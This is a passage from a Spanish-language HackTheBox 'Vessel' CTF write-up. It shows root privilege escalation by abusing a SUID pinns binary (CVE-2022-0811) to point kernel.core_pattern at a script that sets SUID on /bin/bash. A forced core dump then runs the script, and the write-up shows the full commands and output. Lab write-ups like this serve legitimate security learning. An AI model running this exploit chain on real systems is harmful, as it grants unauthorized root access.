utiliza la utilidad pinns
(la que tenemos el permiso de SUID) para establecer opciones del kernel, pero en la versión 1.19 pinns
ahora establecerá los parámetros que queramos sin validarlos, por lo cual podemos establecer un valor malicioso que cuando ocurra un core dumped
ejecute el script que nosotros queramos como root
Como no sabemos que parámetros podemos utilizar con pinns
ya que por alguna razón no tiene menú de ayuda, podemos revisar el código fuente para poder leer los parámetros que acepta.
1static const struct option long_options[] = {
2 {"help", no_argument, NULL, 'h'},
3 {"uts", optional_argument, NULL, 'u'},
4 {"ipc", optional_argument, NULL, 'i'},
5 {"net", optional_argument, NULL, 'n'},
6 {"user", optional_argument, NULL, 'U'},
7 {"cgroup", optional_argument, NULL, 'c'},
8 {"mnt", optional_argument, NULL, 'm'},
9 {"dir", required_argument, NULL, 'd'},
10 {"filename", required_argument, NULL, 'f'},
11 {"uid-mapping", optional_argument, NULL, UID_MAPPING},
12 {"gid-mapping", optional_argument, NULL, GID_MAPPING},
13 {"sysctl", optional_argument, NULL, 's'},
14 };
Modifying Core Pattern to Malicious Script
Nos interesa el parámetro sysctl
que es el que podemos abusar para cambiar el valor de kernel.core_pattern
Vemos que tenemos un error.
1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh'
2[pinns:e]: Path for pinning namespaces not specified: Invalid argument
Este error proviene de la línea 141, se requiere que pin_path
tenga un valor que sería una ruta del sistema, este valor proviene del parámetro -d
1if (!pin_path) {
2 nexit("Path for pinning namespaces not specified");
3 }
Valor del parámetro
1case 'd':
2 pin_path = optarg;
3 break;
Y ahora tenemos un nuevo error.
1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/null
2[pinns:e]: Filename for pinning namespaces not specified: Invalid argument
Buscando el error, tenemos que establecer el parámetro -f
1/usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/null -f test
2[pinns:e] No namespace specified for pinning
Y para terminar esto ocurre ya que el valor de num_unshares
es 0
1 if (num_unshares == 0) {
2 nexit("No namespace specified for pinning");
3 }
Mediante el parámetro -U
podemos hacer que aumente este valor.
1case 'U':
2 if (!is_host_ns (optarg))
3 unshare_flags |= CLONE_NEWUSER;
4 bind_user = true;
5 num_unshares++;
6 break;
Ahora vemos que se nos reporta un error donde dice que la operación no ha sido permitida, pero esto es buena señal ya que en principio debería de hacer cambiado el valor del fichero /proc/sys/kernel/core_pattern
1ethan@vessel:~$ /usr/bin/pinns --sysctl 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/shm -f test -U BLABLA
2[pinns:e]: Failed to bind mount ns: /proc/self/ns/user: Operation not permitted
Al comprobarlo nos damos cuenta de que no ha cambiado, esto es porque me he equivocado y el parámetro para sysctl
es -s
y no --sysctl
1ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
2|/usr/share/apport/apport %p %s %c %d %P %E
Después de unos intentos mas conseguimos cambiar el valor.
1ethan@vessel:~$ /usr/bin/pinns -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/pwned.sh' -d /dev/shm -f test -U
2[pinns:w]: Failed to create ns file: File exists
3ethan@vessel:~$ cat /proc/sys/kernel/core_pattern
4|/tmp/pwned.sh
Triggering Core Dump
Ahora, como dicta el artículo tenemos que causar un core dump
para que el kernel ejecute nuestro script malicioso.
We need to trigger a core dump to cause the kernel to execute our malicious core dump handler
Pero antes, vamos a crear nuestro script malicioso, en /tmp/pwned.sh
creamos el siguiente script.
1#!/bin/bash
2
3chmod u+s /bin/bash
Le damos permiso de ejecución.
1ethan@vessel:~$ chmod +x /tmp/pwned.sh
Ahora simplemente causamos el core dump
(comprobar antes el valor de /proc/sys/kernel/core_pattern
ya que la máquina tiene un script que va cambiando el valor al que tenía antes)
1ethan@vessel:~$ tail -f /dev/null &
2[1] 18777
3ethan@vessel:~$ ps
4 PID TTY TIME CMD
5 18154 pts/1 00:00:00 bash
6 18777 pts/1 00:00:00 tail
7 18778 pts/1 00:00:00 ps
8ethan@vessel:~$ kill -SIGSEGV 18777
9ethan@vessel:~$ ps
10 PID TTY TIME CMD
11 18154 pts/1 00:00:00 bash
12 18781 pts/1 00:00:00 ps
13[1]+ Segmentation fault (core dumped) tail -f /dev/null
Y podemos comprobar que todo ha salido bien y tenemos permiso de SUID en la /bin/bash
1ethan@vessel:~$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
Ahora podemos lanzarnos una bash
con el parámetro -p
para lanzarla como el propietario del binario que es root
y ya hemos escalado privilegios.
1ethan@vessel:~$ bash -p
2bash-5.0# id
3uid=1000(ethan) gid=1000(ethan) euid=0(root) groups=1000(ethan)
Podemos leer la flag de root
1bash-5.0# cat root.txt
29f9cc5f5dd5d00...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Vessel #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Git_dumper.py #Analyzing Source Code #SQL Injection #Authentication Bypass #CVE-2022-24637 #PHP Code Injection #Reversing PyInstaller Compiled Executable #Pyinstxtractor.py #Reversing Windows Executable #Extracting Python Bytecode #Decompiling Bytecode #Decompyle3 #Abusing Poor Entropy #Python Scripting #Scripting #Cracking PDF Hash #Abusing SUID Pinns Privilege #CVE-2022-0811 (CRI-O & Pinns) #Modifying Core Pattern